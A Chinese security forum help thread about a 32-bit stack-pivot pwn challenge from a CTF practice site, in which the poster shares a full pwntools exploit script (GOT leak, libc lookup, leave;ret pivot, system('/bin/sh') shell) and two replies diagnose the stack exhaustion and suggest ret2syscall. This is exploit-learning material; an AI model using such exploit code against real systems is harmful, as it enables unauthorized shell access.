首页
社区
课程
招聘
[求助] Black Watch 弃用的入群题
发表于: 2025-7-2 18:33 405

[求助] Black Watch 弃用的入群题

2025-7-2 18:33
405

题目下载

32 位栈迁移的题目,自己写的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
from LibcSearcher import *
context(log_level='debug', arch='i386', os='linux', terminal=["tmux", "splitw", "-h"])
file = './spwn'
io = process(file)
# io = remote('node5.buuoj.cn', 28587)
elf = ELF(file)
 
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = 0x8048513
s_addr = 0x804A300
leave_ret = 0x8048511
 
# 第一次 vul_function
payload = flat([b'aaaa', write_plt, main_addr, 1, write_got, 4])
io.recvuntil(b'What is your name?')
io.send(payload)
 
io.recvuntil(b'What do you want to say?')
padding = 0x18
payload_2 = flat([b'a' * padding, s_addr, leave_ret])
io.send(payload_2)
 
write_addr = u32(io.recv(4))
print(hex(write_addr))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
# shell = libc_base + 0x18a6d2
print(hex(system_addr))
print(hex(binsh_addr))
 
# gdb.attach(io)
# pause()
 
# 第二次 vul_function
io.recvuntil(b'What is your name?')
payload_3 = flat([b'aaaa', system_addr, 0xdeadbeef, binsh_addr])
# payload_3 = flat([b'aaaa', shell, 0xdeadbeef])
io.send(payload_3)
 
io.recvuntil(b'What do you want to say?')
payload_4 = flat([b'a' * padding, s_addr, leave_ret])
io.send(payload_4)
 
io.interactive()

打不通,经过 GDB 调试后发现泄漏地址推算的真实地址是正确的,也正常进入 do_system 了,最终卡在 mov qword 这一步:
图片描述

其实在这里就很诡异了,明明 s 的位置距离 GOT 表还很远,并不是紧挨着的,fake 栈的空间应该是足够的,程序不应该崩溃的。

考虑使用 one gadget,然而我 ldd spwn ,使用 one_gadget 检索本地 32 位 libc 库后尝试了每一个 gadget,均不能打通,我应该怎么解决这个问题?或者,各位师傅能否帮忙在新版本 Ubuntu 上复现一下?

图片描述

后来我怀疑是 ldd 查询结果有误,在网站上下载了对应的 glibc 库(确认了 system 和 str_bin_sh 的偏移,正确),one_gadget 后还是一样的结果。我看了网上很多题解,都是直接构造 system("/bin/sh") 的,根本不需要用到 one gadget。

后来准备直接做 BUUCTF 的容器,结果报了这样的错:

图片描述

网上有类似的问题,通过最后 system() 的地址填为 exit() 解决的,试了也没有用,可能也是段错误的问题吧。


[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!

收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 0
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
和got表没有关系,就是system爆栈,你把第一个read的0x200改大,然后迁移时候往高地址迁移,你就发现可以打通,原题可以使用32位的ret2syscall打通
2025-7-7 00:19
0
雪    币: 1004
活跃值: (849)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
3
在报错位置执行:vmmap $esp,就知道原因了。遇到这种情况要么就是在call system前调整栈,要么就是用系统调用来规避消耗栈空间
2025-7-7 16:35
0
游客
登录 | 注册 方可回帖
返回